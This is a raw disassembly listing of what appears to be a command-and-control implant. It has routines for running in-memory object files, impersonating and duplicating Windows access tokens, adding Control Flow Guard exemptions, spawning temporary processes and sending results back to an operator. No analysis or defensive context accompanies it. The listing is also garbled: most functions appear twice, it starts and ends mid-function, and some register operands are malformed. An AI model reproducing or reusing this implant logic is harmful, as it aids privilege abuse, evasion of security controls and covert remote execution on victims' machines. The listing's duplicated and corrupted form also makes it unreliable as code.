140008736lea r9, [rsp+176]
14000873exor ecx, ecx
140008740mov [rsp+72], r9
140008745mov [rsp+56], r9
14000874acall [r12+1612]
140008752mov ecx, 64
140008757movsxd rbx, eax
14000875amov rdx, rbx
14000875dcall [r12+932]
140008765mov r9, [rsp+56]
14000876amov r8, rdi
14000876dmov rdx, rbx
140008770mov rbp, rax
140008773mov rcx, rax
140008776call [r12+1612]
14000877emov [rsp+32], rbp
140008783mov r9l, ebx
140008786mov r8l, 224
14000878cmov rdx, r15
14000878flea rcx, [rip+0x22f92]
140008796mov rdi, rbp
140008799call printf
14000879emov edx, r13l
1400087a1mov rcx, rsi
1400087a4call PackageAddInt32
1400087a9mov r8, rbx
1400087acmov rdx, rbp
1400087afmov rcx, rsi
1400087b2call PackageAddBytes
1400087b7mov rcx, rsi
1400087bacall PackageTransmit
1400087bfmov rcx, rbx
1400087c2xor eax, eax
1400087c4rep stosb [rdi], al
1400087c6mov rcx, rbp
1400087c9call [r12+940]
1400087d1add rsp, 88
1400087d5pop rbx
1400087d6pop rsi
1400087d7pop rdi
1400087d8pop rbp
1400087d9pop r12
1400087dbpop r13
1400087ddpop r14
1400087dfpop r15
1400087e1ret
1400086a0
1400086a0BeaconPrintf:
1400086a0push r15
1400086a2lea r15, [rip+0x242b7]
1400086a9push r14
1400086abpush r13
1400086admov r13l, ecx
1400086b0push r12
1400086b2push rbp
1400086b3push rdi
1400086b4mov rdi, rdx
1400086b7push rsi
1400086b8push rbx
1400086b9sub rsp, 88
1400086bdmov [rsp+32], rdx
1400086c2mov rdx, r15
1400086c5mov [rsp+176], r8
1400086cdmov r8l, 201
1400086d3mov [rsp+184], r9
1400086dbmov r9l, ecx
1400086delea rcx, [rip+0x23016]
1400086e5call printf
1400086eaxor edx, edx
1400086ecmov rcx, [rsp+152]
1400086f4xor eax, eax
1400086f6mov [rsp+68], edx
1400086falea rdx, [rsp+68]
1400086ffmov [rsp+72], rax
140008704call GetRequestIDForCallingObjectFile
140008709test eax, eax
14000870bje 0x14000871d
14000870dmov edx, [rsp+68]
140008711mov ecx, 94
140008716call PackageCreateWithRequestID
14000871bjmp 0x140008727
14000871d
14000871dloc_14000871d:
14000871dmov ecx, 94
140008722call PackageCreate
140008727
140008727loc_140008727:
140008727mov r12, [rip+0x23c42]
14000872emov rsi, rax
140008731mov r8, rdi
140008734xor edx, edx
140008736lea r9, [rsp+176]
14000873exor ecx, ecx
140008740mov [rsp+72], r9
140008745mov [rsp+56], r9
14000874acall [r12+1612]
140008752mov ecx, 64
140008757movsxd rbx, eax
14000875amov rdx, rbx
14000875dcall [r12+932]
140008765mov r9, [rsp+56]
14000876amov r8, rdi
14000876dmov rdx, rbx
140008770mov rbp, rax
140008773mov rcx, rax
140008776call [r12+1612]
14000877emov [rsp+32], rbp
140008783mov r9l, ebx
140008786mov r8l, 224
14000878cmov rdx, r15
14000878flea rcx, [rip+0x22f92]
140008796mov rdi, rbp
140008799call printf
14000879emov edx, r13l
1400087a1mov rcx, rsi
1400087a4call PackageAddInt32
1400087a9mov r8, rbx
1400087acmov rdx, rbp
1400087afmov rcx, rsi
1400087b2call PackageAddBytes
1400087b7mov rcx, rsi
1400087bacall PackageTransmit
1400087bfmov rcx, rbx
1400087c2xor eax, eax
1400087c4rep stosb [rdi], al
1400087c6mov rcx, rbp
1400087c9call [r12+940]
1400087d1add rsp, 88
1400087d5pop rbx
1400087d6pop rsi
1400087d7pop rdi
1400087d8pop rbp
1400087d9pop r12
1400087dbpop r13
1400087ddpop r14
1400087dfpop r15
1400087e1ret
1400086a0
1400087e2
1400087e2 // align 0x10
1400087e2 // align 0x10
1400087f0
1400087f0BeaconSpawnTemporaryProcess:
1400087f0sub rsp, 88
1400087f4mov rax, [rip+0x23b75]
1400087fbmov r10l, edx
1400087fetest ecx, ecx
140008800mov rdx, [rax+264]
140008807cmove rdx, [rax+256]
14000880ftest r10l, r10l
140008812je 0x14000884b
140008814mov [rsp+64], r8
140008819xor r8l, r8l
14000881cxor ecx, ecx
14000881emov [rsp+72], r9
140008823xor r9l, r9l
140008826mov [rsp+56], r8
14000882bmov [rsp+48], r8
140008830xor r8l, r8l
140008833mov [rsp+40], 0x8000000
14000883bmov [rsp+32], 1
140008843call [rax+956]
140008849jmp 0x14000887e
14000884b
14000884bloc_14000884b:
14000884bxor ecx, ecx
14000884dmov [rsp+64], r9
140008852mov r9, rdx
140008855mov edx, 1
14000885amov [rsp+56], r8
14000885fxor r8l, r8l
140008862mov [rsp+48], rcx
140008867mov [rsp+40], rcx
14000886cor rcx, -1
140008870mov [rsp+32], 1024
140008878call [rax+1356]
14000887e
14000887eloc_14000887e:
14000887eadd rsp, 88
140008882ret
1400087f0
1400087f0BeaconSpawnTemporaryProcess:
1400087f0sub rsp, 88
1400087f4mov rax, [rip+0x23b75]
1400087fbmov r10l, edx
1400087fetest ecx, ecx
140008800mov rdx, [rax+264]
140008807cmove rdx, [rax+256]
14000880ftest r10l, r10l
140008812je 0x14000884b
140008814mov [rsp+64], r8
140008819xor r8l, r8l
14000881cxor ecx, ecx
14000881emov [rsp+72], r9
140008823xor r9l, r9l
140008826mov [rsp+56], r8
14000882bmov [rsp+48], r8
140008830xor r8l, r8l
140008833mov [rsp+40], 0x8000000
14000883bmov [rsp+32], 1
140008843call [rax+956]
140008849jmp 0x14000887e
14000884b
14000884bloc_14000884b:
14000884bxor ecx, ecx
14000884dmov [rsp+64], r9
140008852mov r9, rdx
140008855mov edx, 1
14000885amov [rsp+56], r8
14000885fxor r8l, r8l
140008862mov [rsp+48], rcx
140008867mov [rsp+40], rcx
14000886cor rcx, -1
140008870mov [rsp+32], 1024
140008878call [rax+1356]
14000887e
14000887eloc_14000887e:
14000887eadd rsp, 88
140008882ret
1400087f0
140008883
140008883 // align 0x10
140008883 // align 0x10
140008890
140008890BeaconUseToken:
140008890sub rsp, 72
140008894xor r9l, r9l
140008897xor r8l, r8l
14000889axor edx, edx
14000889clea rax, [rsp+56]
1400088a1mov [rsp+32], 1
1400088a9mov [rsp+40], rax
1400088aemov [rsp+56], -1
1400088b7call SysNtDuplicateToken
1400088bctest eax, eax
1400088beje 0x1400088dc
1400088c0mov rax, [rip+0x23aa9]
1400088c7xor ecx, ecx
1400088c9mov rdx, [rsp+56]
1400088cecall [rax+1604]
1400088d4test eax, eax
1400088d6setne al
1400088d9movzx eax, al
1400088dc
1400088dcloc_1400088dc:
1400088dcadd rsp, 72
1400088e0ret
140008890
140008890BeaconUseToken:
140008890sub rsp, 72
140008894xor r9l, r9l
140008897xor r8l, r8l
14000889axor edx, edx
14000889clea rax, [rsp+56]
1400088a1mov [rsp+32], 1
1400088a9mov [rsp+40], rax
1400088aemov [rsp+56], -1
1400088b7call SysNtDuplicateToken
1400088bctest eax, eax
1400088beje 0x1400088dc
1400088c0mov rax, [rip+0x23aa9]
1400088c7xor ecx, ecx
1400088c9mov rdx, [rsp+56]
1400088cecall [rax+1604]
1400088d4test eax, eax
1400088d6setne al
1400088d9movzx eax, al
1400088dc
1400088dcloc_1400088dc:
1400088dcadd rsp, 72
1400088e0ret
140008890
1400088e1
1400088e1 // align 0x10
1400088e1 // align 0x10
1400088f0
1400088f0CanTokenBeImpersonated:
1400088f0push rbx
1400088f1xor eax, eax
1400088f3sub rsp, 48
1400088f7mov [rsp+40], rax
1400088fccall SysImpersonateLoggedOnUser
140008901test eax, eax
140008903jne 0x140008909
140008905
140008905loc_140008905:
140008905xor eax, eax
140008907jmp 0x140008955
140008909
140008909loc_140008909:
140008909lea r9, [rsp+40]
14000890emov r8l, 1
140008914mov rax, [rip+0x23a55]
14000891bmov edx, 0x2000000
140008920mov rcx, -2
140008927call [rax+1588]
14000892dmov ebx, eax
14000892fcall TokenRevSelf
140008934test ebx, ebx
140008936je 0x140008905
140008938mov rcx, [rsp+40]
14000893dcall IsImpersonationToken
140008942mov rcx, [rsp+40]
140008947mov ebx, eax
140008949call SysNtClose
14000894exor eax, eax
140008950test ebx, ebx
140008952setne al
140008955
140008955loc_140008955:
140008955add rsp, 48
140008959pop rbx
14000895aret
1400088f0
1400088f0CanTokenBeImpersonated:
1400088f0push rbx
1400088f1xor eax, eax
1400088f3sub rsp, 48
1400088f7mov [rsp+40], rax
1400088fccall SysImpersonateLoggedOnUser
140008901test eax, eax
140008903jne 0x140008909
140008905
140008905loc_140008905:
140008905xor eax, eax
140008907jmp 0x140008955
140008909
140008909loc_140008909:
140008909lea r9, [rsp+40]
14000890emov r8l, 1
140008914mov rax, [rip+0x23a55]
14000891bmov edx, 0x2000000
140008920mov rcx, -2
140008927call [rax+1588]
14000892dmov ebx, eax
14000892fcall TokenRevSelf
140008934test ebx, ebx
140008936je 0x140008905
140008938mov rcx, [rsp+40]
14000893dcall IsImpersonationToken
140008942mov rcx, [rsp+40]
140008947mov ebx, eax
140008949call SysNtClose
14000894exor eax, eax
140008950test ebx, ebx
140008952setne al
140008955
140008955loc_140008955:
140008955add rsp, 48
140008959pop rbx
14000895aret
1400088f0
14000895b
14000895b // align 0x10
14000895b // align 0x10
140008960
140008960CfgAddressAdd:
140008960push rdi
140008961mov r8, rcx
140008964xor eax, eax
140008966mov ecx, 9
14000896bsub rdx, r8
14000896eadd rsp, -128
140008972lea rdi, [rsp+92]
140008977mov [rsp+72], r8
14000897clea r9, [rsp+72]
140008981rep stosd [rdi], eax
140008983xor eax, eax
140008985mov [rsp+56], rdx
14000898aor rcx, -1
14000898emov [rsp+52], eax
140008992movsxd rax, [r8+60]
140008996mov edx, 2
14000899bmov [rsp+64], 1
1400089a4mov eax, [r8+rax+80]
1400089a9mov [rsp+40], 40
1400089b1mov r8l, 1
1400089b7mov [rsp+88], 1
1400089bfadd rax, 4095
1400089c5and rax, -4096
1400089cbmov [rsp+80], rax
1400089d0lea rax, [rsp+52]
1400089d5mov [rsp+96], rax
1400089dalea rax, [rsp+56]
1400089dfmov [rsp+104], rax
1400089e4lea rax, [rsp+88]
1400089e9mov [rsp+32], rax
1400089eecall SysNtSetInformationVirtualMemory
1400089f3test eax, eax
1400089f5jns 0x140008a13
1400089f7mov r9l, eax
1400089famov r8l, 1249
140008a00lea rdx, [rip+0x23f19]
140008a07lea rcx, [rip+0x21d14]
140008a0ecall printf
140008a13
140008a13loc_140008a13:
140008a13sub rsp, -128
140008a17pop rdi
140008a18ret
140008960
140008960CfgAddressAdd:
140008960push rdi
140008961mov r8, rcx
140008964xor eax, eax
140008966mov ecx, 9
14000896bsub rdx, r8
14000896eadd rsp, -128
140008972lea rdi, [rsp+92]
140008977mov [rsp+72], r8
14000897clea r9, [rsp+72]
140008981rep stosd [rdi], eax
140008983xor eax, eax
140008985mov [rsp+56], rdx
14000898aor rcx, -1
14000898emov [rsp+52], eax
140008992movsxd rax, [r8+60]
140008996mov edx, 2
14000899bmov [rsp+64], 1
1400089a4mov eax, [r8+rax+80]
1400089a9mov [rsp+40], 40
1400089b1mov r8l, 1
1400089b7mov [rsp+88], 1
1400089bfadd rax, 4095
1400089c5and rax, -4096
1400089cbmov [rsp+80], rax
1400089d0lea rax, [rsp+52]
1400089d5mov [rsp+96], rax
1400089dalea rax, [rsp+56]
1400089dfmov [rsp+104], rax
1400089e4lea rax, [rsp+88]
1400089e9mov [rsp+32], rax
1400089eecall SysNtSetInformationVirtualMemory
1400089f3test eax, eax
1400089f5jns 0x140008a13
1400089f7mov r9l, eax
1400089famov r8l, 1249
140008a00lea rdx, [rip+0x23f19]
140008a07lea rcx, [rip+0x21d14]
140008a0ecall printf
140008a13
140008a13loc_140008a13:
140008a13sub rsp, -128
140008a17pop rdi
140008a18ret
140008960
140008a19
140008a19 // align 0x10
140008a19 // align 0x10
140008a20
140008a20CfgQueryEnforced:
140008a20sub rsp, 72
140008a24xor eax, eax
140008a26mov edx, 52
140008a2bor rcx, -1
140008a2fmov [rsp+32], rax
140008a34mov r9l, 8
140008a3alea r8, [rsp+56]
140008a3fmov [rsp+56], 7
140008a48call SysNtQueryInformationProcess
140008a4dlea rdx, [rip+0x2431c]
140008a54test eax, eax
140008a56jns 0x140008a71
140008a58mov r9l, eax
140008a5bmov r8l, 1208
140008a61lea rcx, [rip+0x21c4a]
140008a68call printf
140008a6dxor eax, eax
140008a6fjmp 0x140008a9e
140008a71
140008a71loc_140008a71:
140008a71cmp [rsp+60], 0
140008a76lea rax, [rip+0x21c2a]
140008a7dlea r9, [rip+0x21c28]
140008a84mov r8l, 1212
140008a8acmovne r9, rax
140008a8elea rcx, [rip+0x21c55]
140008a95call printf
140008a9amov eax, [rsp+60]
140008a9e
140008a9eloc_140008a9e:
140008a9eadd rsp, 72
140008aa2ret
140008a20
140008a20CfgQueryEnforced:
140008a20sub rsp, 72
140008a24xor eax, eax
140008a26mov edx, 52
140008a2bor rcx, -1
140008a2fmov [rsp+32], rax
140008a34mov r9l, 8
140008a3alea r8, [rsp+56]
140008a3fmov [rsp+56], 7
140008a48call SysNtQueryInformationProcess
140008a4dlea rdx, [rip+0x2431c]
140008a54test eax, eax
140008a56jns 0x140008a71
140008a58mov r9l, eax
140008a5bmov r8l, 1208
140008a61lea rcx, [rip+0x21c4a]
140008a68call printf
140008a6dxor eax, eax
140008a6fjmp 0x140008a9e
140008a71
140008a71loc_140008a71:
140008a71cmp [rsp+60], 0
140008a76lea rax, [rip+0x21c2a]
140008a7dlea r9, [rip+0x21c28]
140008a84mov r8l, 1212
140008a8acmovne r9, rax
140008a8elea rcx, [rip+0x21c55]
140008a95call printf
140008a9amov eax, [rsp+60]
140008a9e
140008a9eloc_140008a9e:
140008a9eadd rsp, 72
140008aa2ret
140008a20
140008aa3
140008aa3 // align 0x10
140008aa3 // align 0x10
140008ab0
140008ab0CharStringToWCharString:
140008ab0mov eax, r8l
140008ab3
140008ab3loc_140008ab3:
140008ab3dec eax
140008ab5js 0x140008ad8
140008ab7movsx r9w, [rdx]
140008abcadd rcx, 2
140008ac0inc rdx
140008ac3mov [rcx-2], r9w
140008ac8test r9w, r9w
140008accjne 0x140008ab3
140008acecdqe
140008ad0sub r8, rax
140008ad3lea rax, [r8-1]
140008ad7ret
140008ad8
140008ad8loc_140008ad8:
140008ad8movsxd rdx, eax
140008adbmov rax, r8
140008adesub rax, rdx
140008ae1ret
140008ab0
140008ab0CharStringToWCharString:
140008ab0mov eax, r8l
140008ab3
140008ab3loc_140008ab3:
140008ab3dec eax
140008ab5js 0x140008ad8
140008ab7movsx r9w, [rdx]
140008abcadd rcx, 2
140008ac0inc rdx
140008ac3mov [rcx-2], r9w
140008ac8test r9w, r9w
140008accjne 0x140008ab3
140008acecdqe
140008ad0sub r8, rax
140008ad3lea rax, [r8-1]
140008ad7ret
140008ad8
140008ad8loc_140008ad8:
140008ad8movsxd rdx, eax
140008adbmov rax, r8
140008adesub rax, rdx
140008ae1ret
140008ab0
140008ae2
140008ae2 // align 0x10
140008ae2 // align 0x10
140008af0
140008af0ClrCreateInstance:
140008af0push rbp
140008af1xor eax, eax
140008af3mov rbp, rdx
140008af6push rdi
140008af7mov rdi, r9
140008afapush rsi
140008afbmov rsi, r8
140008afemov r8, rdx
140008b01lea rdx, [rip+0x1c508]
140008b08push rbx
140008b09mov rbx, rcx
140008b0clea rcx, [rip+0x1c4cd]
140008b13sub rsp, 56
140008b17mov [rsp+44], eax
140008b1bmov rax, [rip+0x2384e]
140008b22call [rax+1276]
140008b28test eax, eax
140008b2ajne 0x140008be8
140008b30mov rcx, [rbp]
140008b34mov r9, rsi
140008b37lea r8, [rip+0x1c4e2]
140008b3emov rdx, rbx
140008b41mov rax, [rcx]
140008b44call [rax+24]
140008b47test eax, eax
140008b49jne 0x140008bcf
140008b4fmov rcx, [rsi]
140008b52lea rdx, [rsp+44]
140008b57mov rax, [rcx]
140008b5acall [rax+80]
140008b5dtest eax, eax
140008b5fjne 0x140008baf
140008b61cmp [rsp+44], 0
140008b66je 0x140008baf
140008b68mov rcx, [rsi]
140008b6bmov r9, rdi
140008b6elea r8, [rip+0x1c4bb]
140008b75lea rdx, [rip+0x1c474]
140008b7cmov rax, [rcx]
140008b7fcall [rax+72]
140008b82test eax, eax
140008b84jne 0x140008b96
140008b86mov rcx, [rdi]
140008b89mov rax, [rcx]
140008b8ccall [rax+80]
140008b8fmov eax, 1
140008b94jmp 0x140008c01
140008b96
140008b96loc_140008b96:
140008b96mov r9, rbx
140008b99mov r8l, 559
140008b9flea rdx, [rip+0x239fa]
140008ba6lea rcx, [rip+0x1eb0a]
140008badjmp 0x140008bc6
140008baf
140008bafloc_140008baf:
140008bafmov r9, rbx
140008bb2mov r8l, 565
140008bb8lea rdx, [rip+0x239e1]
140008bbflea rcx, [rip+0x1eb8d]
140008bc6
140008bc6loc_140008bc6:
140008bc6call printf
140008bcbxor eax, eax
140008bcdjmp 0x140008c01
140008bcf
140008bcfloc_140008bcf:
140008bcfmov r9, rbx
140008bd2mov r8l, 571
140008bd8lea rdx, [rip+0x239c1]
140008bdflea rcx, [rip+0x1ebfb]
140008be6jmp 0x140008bc6
140008be8
140008be8loc_140008be8:
140008be8mov r9, rbx
140008bebmov r8l, 577
140008bf1lea rdx, [rip+0x239a8]
140008bf8lea rcx, [rip+0x1ec7a]
140008bffjmp 0x140008bc6
140008c01
140008c01loc_140008c01:
140008c01add rsp, 56
140008c05pop rbx
140008c06pop rsi
140008c07pop rdi
140008c08pop rbp
140008c09ret
140008af0
140008af0ClrCreateInstance:
140008af0push rbp
140008af1xor eax, eax
140008af3mov rbp, rdx
140008af6push rdi
140008af7mov rdi, r9
140008afapush rsi
140008afbmov rsi, r8
140008afemov r8, rdx
140008b01lea rdx, [rip+0x1c508]
140008b08push rbx
140008b09mov rbx, rcx
140008b0clea rcx, [rip+0x1c4cd]
140008b13sub rsp, 56
140008b17mov [rsp+44], eax
140008b1bmov rax, [rip+0x2384e]
140008b22call [rax+1276]
140008b28test eax, eax
140008b2ajne 0x140008be8
140008b30mov rcx, [rbp]
140008b34mov r9, rsi
140008b37lea r8, [rip+0x1c4e2]
140008b3emov rdx, rbx
140008b41mov rax, [rcx]
140008b44call [rax+24]
140008b47test eax, eax
140008b49jne 0x140008bcf
140008b4fmov rcx, [rsi]
140008b52lea rdx, [rsp+44]
140008b57mov rax, [rcx]
140008b5acall [rax+80]
140008b5dtest eax, eax
140008b5fjne 0x140008baf
140008b61cmp [rsp+44], 0
140008b66je 0x140008baf
140008b68mov rcx, [rsi]
140008b6bmov r9, rdi
140008b6elea r8, [rip+0x1c4bb]
140008b75lea rdx, [rip+0x1c474]
140008b7cmov rax, [rcx]
140008b7fcall [rax+72]
140008b82test eax, eax
140008b84jne 0x140008b96
140008b86mov rcx, [rdi]
140008b89mov rax, [rcx]
140008b8ccall [rax+80]
140008b8fmov eax, 1
140008b94jmp 0x140008c01
140008b96
140008b96loc_140008b96:
140008b96mov r9, rbx
140008b99mov r8l, 559
140008b9flea rdx, [rip+0x239fa]
140008ba6lea rcx, [rip+0x1eb0a]
140008badjmp 0x140008bc6
140008baf
140008bafloc_140008baf:
140008bafmov r9, rbx
140008bb2mov r8l, 565
140008bb8lea rdx, [rip+0x239e1]
140008bbflea rcx, [rip+0x1eb8d]
140008bc6
140008bc6loc_140008bc6:
140008bc6call printf
140008bcbxor eax, eax
140008bcdjmp 0x140008c01
140008bcf
140008bcfloc_140008bcf:
140008bcfmov r9, rbx
140008bd2mov r8l, 571
140008bd8lea rdx, [rip+0x239c1]
140008bdflea rcx, [rip+0x1ebfb]
140008be6jmp 0x140008bc6
140008be8
140008be8loc_140008be8:
140008be8mov r9, rbx
140008bebmov r8l, 577
140008bf1lea rdx, [rip+0x239a8]
140008bf8lea rcx, [rip+0x1ec7a]
140008bffjmp 0x140008bc6
140008c01
140008c01loc_140008c01:
140008c01add rsp, 56
140008c05pop rbx
140008c06pop rsi
140008c07pop rdi
140008c08pop rbp
140008c09ret
140008af0
140008c0a
140008c0a // align 0x10
140008c0a // align 0x10
140008c10
140008c10CoffeeCleanup:
140008c10push rdi
140008c11xor edx, edx
140008c13push rsi
140008c14push rbx
140008c15sub rsp, 64
140008c19mov [rsp+48], rdx
140008c1emov [rsp+56], rdx
140008c23test rcx, rcx
140008c26je 0x140008d09
140008c2cmov r8, [rcx+40]
140008c30mov rbx, rcx
140008c33test r8, r8
140008c36je 0x140008d09
140008c3cmov [rsp+32], 4
140008c44mov r9, [rcx+48]
140008c48or rdx, -1
140008c4cmov ecx, 2
140008c51call MemoryProtect
140008c56test eax, eax
140008c58je 0x140008c66
140008c5amov rdi, [rbx+40]
140008c5emov rcx, [rbx+48]
140008c62xor eax, eax
140008c64rep stosb [rdi], al
140008c66
140008c66loc_140008c66:
140008c66mov rax, [rbx+40]
140008c6aor rcx, -1
140008c6elea rdx, [rsp+48]
140008c73mov r9l, 32768
140008c79lea r8, [rsp+56]
140008c7emov [rsp+48], rax
140008c83mov rax, [rbx+48]
140008c87mov [rsp+56], rax
140008c8ccall SysNtFreeVirtualMemory
140008c91mov ecx, eax
140008c93test eax, eax
140008c95jns 0x140008cd9
140008c97mov rdi, [rip+0x236d2]
140008c9emov rsi, [rdi+2230]
140008ca5call [rdi+348]
140008cabmov r8l, 383
140008cb1lea rdx, [rip+0x24508]
140008cb8lea rcx, [rip+0x226ef]
140008cbfmov [rsi+104], eax
140008cc2mov rax, [rdi+2230]
140008cc9mov eax, [rax+104]
140008cccmov [rsp+32], eax
140008cd0mov r9, [rbx+40]
140008cd4call printf
140008cd9
140008cd9loc_140008cd9:
140008cd9mov rdi, [rbx+60]
140008cddtest rdi, rdi
140008ce0je 0x140008d09
140008ce2mov rax, [rbx+8]
140008ce6movzx ecx, [rax+2]
140008ceaxor eax, eax
140008cecshl rcx, 4
140008cf0rep stosb [rdi], al
140008cf2mov rax, [rip+0x23677]
140008cf9mov rcx, [rbx+60]
140008cfdcall [rax+940]
140008d03xor eax, eax
140008d05mov [rbx+60], rax
140008d09
140008d09loc_140008d09:
140008d09add rsp, 64
140008d0dpop rbx
140008d0epop rsi
140008d0fpop rdi
140008d10ret
140008c10
140008c10CoffeeCleanup:
140008c10push rdi
140008c11xor edx, edx
140008c13push rsi
140008c14push rbx
140008c15sub rsp, 64
140008c19mov [rsp+48], rdx
140008c1emov [rsp+56], rdx
140008c23test rcx, rcx
140008c26je 0x140008d09
140008c2cmov r8, [rcx+40]
140008c30mov rbx, rcx
140008c33test r8, r8
140008c36je 0x140008d09
140008c3cmov [rsp+32], 4
140008c44mov r9, [rcx+48]
140008c48or rdx, -1
140008c4cmov ecx, 2
140008c51call MemoryProtect
140008c56test eax, eax
140008c58je 0x140008c66
140008c5amov rdi, [rbx+40]
140008c5emov rcx, [rbx+48]
140008c62xor eax, eax
140008c64rep stosb [rdi], al
140008c66
140008c66loc_140008c66:
140008c66mov rax, [rbx+40]
140008c6aor rcx, -1
140008c6elea rdx, [rsp+48]
140008c73mov r9l, 32768
140008c79lea r8, [rsp+56]
140008c7emov [rsp+48], rax
140008c83mov rax, [rbx+48]
140008c87mov [rsp+56], rax
140008c8ccall SysNtFreeVirtualMemory
140008c91mov ecx, eax
140008c93test eax, eax
140008c95jns 0x140008cd9
140008c97mov rdi, [rip+0x236d2]
140008c9emov rsi, [rdi+2230]
140008ca5call [rdi+348]
140008cabmov r8l, 383
140008cb1lea rdx, [rip+0x24508]
140008cb8lea rcx, [rip+0x226ef]
140008cbfmov [rsi+104], eax
140008cc2mov rax, [rdi+2230]
140008cc9mov eax, [rax+104]
140008cccmov [rsp+32], eax
140008cd0mov r9, [rbx+40]
140008cd4call printf
140008cd9
140008cd9loc_140008cd9:
140008cd9mov rdi, [rbx+60]
140008cddtest rdi, rdi
140008ce0je 0x140008d09
140008ce2mov rax, [rbx+8]
140008ce6movzx ecx, [rax+2]
140008ceaxor eax, eax
140008cecshl rcx, 4
140008cf0rep stosb [rdi], al
140008cf2mov rax, [rip+0x23677]
140008cf9mov rcx, [rbx+60]
140008cfdcall [rax+940]
140008d03xor eax, eax
140008d05mov [rbx+60], rax
140008d09
140008d09loc_140008d09:
140008d09add rsp, 64
140008d0dpop rbx
140008d0epop rsi
140008d0fpop rdi
140008d10ret
140008c10
140008d11
140008d11 // align 0x10
140008d11 // align 0x10
140008d20
140008d20CoffeeExecuteFunction:
140008d20push r15
140008d22push r14
140008d24mov r14, r9
140008d27push r13
140008d29mov r13, r8
140008d2cpush r12
140008d2epush rbp
140008d2fpush rdi
140008d30push rsi
140008d31xor esi, esi
140008d33push rbx
140008d34mov rbx, rcx
140008d37mov rcx, rdx
140008d3asub rsp, 56
140008d3emov [rsp+136], rdx
140008d46call StringLengthA
140008d4bmov rbp, [rip+0x2361e]
140008d52mov r15, rax
140008d55cmp [rbp+240], 0
140008d5cje 0x140008db1
140008d5elea r9, [rip+0x22564]
140008d65mov r8l, 238
140008d6blea rdx, [rip+0x2450e]
140008d72lea rcx, [rip+0x2253c]
140008d79call printf
140008d7elea rdx, [rip+0x1940b]
140008d85mov ecx, 1
140008d8acall [rbp+428]
140008d90mov rsi, rax
140008d93test rax, rax
140008d96jne 0x140008db1
140008d98mov rax, [rbp+2230]
140008d9fmov ecx, 1
140008da4mov edx, [rax+104]
140008da7call PackageTransmitError
140008dacjmp 0x140008e4b
140008db1
140008db1loc_140008db1:
140008db1xor r12l, r12l
140008db4jmp 0x140008db9
140008db6
140008db6loc_140008db6:
140008db6inc r12l
140008db9
140008db9loc_140008db9:
140008db9mov rax, [rbx+8]
140008dbdcmp r12w, [rax+2]
140008dc2jae 0x140008edb
140008dc8movzx edi, r12w
140008dccmov rdx, [rbx]
140008dcfimul rax, rdi, 40
140008dd3lea rax, [rdx+rax+20]
140008dd8cmp [rax+16], 0
140008ddcmov [rbx+16], rax
140008de0je 0x140008db6
140008de2mov r9l, [rax+36]
140008de6mov eax, 1
140008debmov edx, r9l
140008deeand edx, 0xffffffffe0000000
140008df4jne 0x140008e52
140008df6
140008df6loc_140008df6:
140008df6mov rdx, [rbx+16]
140008dfatest [rdx+39], 4
140008dfeje 0x140008e03
140008e00or ah, 2
140008e03
140008e03loc_140008e03:
140008e03mov r10, [rbx+60]
140008e07shl rdi, 4
140008e0bor rdx, -1
140008e0fmov ecx, 2
140008e14add r10, rdi
140008e17mov r9, [r10+8]
140008e1bmov [rsp+32], eax
140008e1fmov r8, [r10]
140008e22call MemoryProtect
140008e27test eax, eax
140008e29jne 0x140008db6
140008e2blea r9, [rip+0x224d6]
140008e32mov r8l, 283
140008e38
140008e38loc_140008e38:
140008e38lea rdx, [rip+0x24441]
140008e3flea rcx, [rip+0x2246f]
140008e46
140008e46loc_140008e46:
140008e46call printf
140008e4b
140008e4bloc_140008e4b:
140008e4bxor eax, eax
140008e4djmp 0x140009084
140008e52
140008e52loc_140008e52:
140008e52mov eax, 16
140008e57cmp edx, 0x20000000
140008e5dje 0x140008df6
140008e5fmov eax, 2
140008e64cmp edx, 0x40000000
140008e6aje 0x140008df6
140008e6cmov eax, 32
140008e71cmp edx, 0x60000000
140008e77je 0x140008df6
140008e7dmov eax, 8
140008e82cmp edx, 0xffffffff80000000
140008e88je 0x140008df6
140008e8emov eax, 128
140008e93cmp edx, 0xffffffffa0000000
140008e99je 0x140008df6
140008e9fmov eax, 4
140008ea4cmp edx, 0xffffffffc0000000
140008eaaje 0x140008df6
140008eb0cmp edx, 0xffffffffe0000000
140008eb6je 0x140008ed1
140008eb8mov r8l, 273
140008ebelea rdx, [rip+0x243bb]
140008ec5lea rcx, [rip+0x22415]
140008ecccall printf
140008ed1
140008ed1loc_140008ed1:
140008ed1mov eax, 64
140008ed6jmp 0x140008df6
140008edb
140008edbloc_140008edb:
140008edbmov r9, [rbx+76]
140008edftest r9, r9
140008ee2jne 0x140008ee8
140008ee4
140008ee4loc_140008ee4:
140008ee4xor edi, edi
140008ee6jmp 0x140008f50
140008ee8
140008ee8loc_140008ee8:
140008ee8mov [rsp+32], 2
140008ef0mov r8, [rbx+68]
140008ef4or rdx, -1
140008ef8mov ecx, 2
140008efdcall MemoryProtect
140008f02lea r9, [rip+0x223ff]
140008f09mov r8l, 295
140008f0ftest eax, eax
140008f11jne 0x140008ee4
140008f13jmp 0x140008e38
140008f18
140008f18loc_140008f18:
140008f18mov r12l, edi
140008f1bmov rdx, [rbx+32]
140008f1fimul r12, r12, 18
140008f23lea rcx, [rdx+r12]
140008f27cmp [rcx], 0
140008f2ajne 0x140008f3a
140008f2cimul rax, rax, 18
140008f30mov ecx, [rcx+4]
140008f33add rax, rcx
140008f36lea rcx, [rdx+rax]
140008f3a
140008f3aloc_140008f3a:
140008f3amov rdx, [rsp+136]
140008f42mov r8l, r15l
140008f45call MemCompare
140008f4atest eax, eax
140008f4cje 0x140008f5d
140008f4einc edi
140008f50
140008f50loc_140008f50:
140008f50mov rax, [rbx+8]
140008f54mov eax, [rax+12]
140008f57cmp edi, eax
140008f59jb 0x140008f18
140008f5bjmp 0x140008f88
140008f5d
140008f5dloc_140008f5d:
140008f5dadd r12, [rbx+32]
140008f61mov r8, [rbx+60]
140008f65movzx eax, [r12+12]
140008f6bmov r12l, [r12+8]
140008f70shl rax, 4
140008f74add r12, [r8+rax-16]
140008f79je 0x140008f88
140008f7bmov rax, [rbx+8]
140008f7fmov r9w, [rax+2]
140008f84xor eax, eax
140008f86jmp 0x140008ffc
140008f88
140008f88loc_140008f88:
140008f88mov r9, [rsp+136]
140008f90mov r8l, 324
140008f96lea rdx, [rip+0x242e3]
140008f9dlea rcx, [rip+0x2237d]
140008fa4call printf
140008fa9mov edx, [rsp+160]
140008fb0mov ecx, 20
140008fb5call PackageCreateWithRequestID
140008fbamov edx, 2
140008fbfmov rcx, rax
140008fc2mov rbx, rax
140008fc5call PackageAddInt32
140008fcamov rdx, [rsp+136]
140008fd2mov rcx, rbx
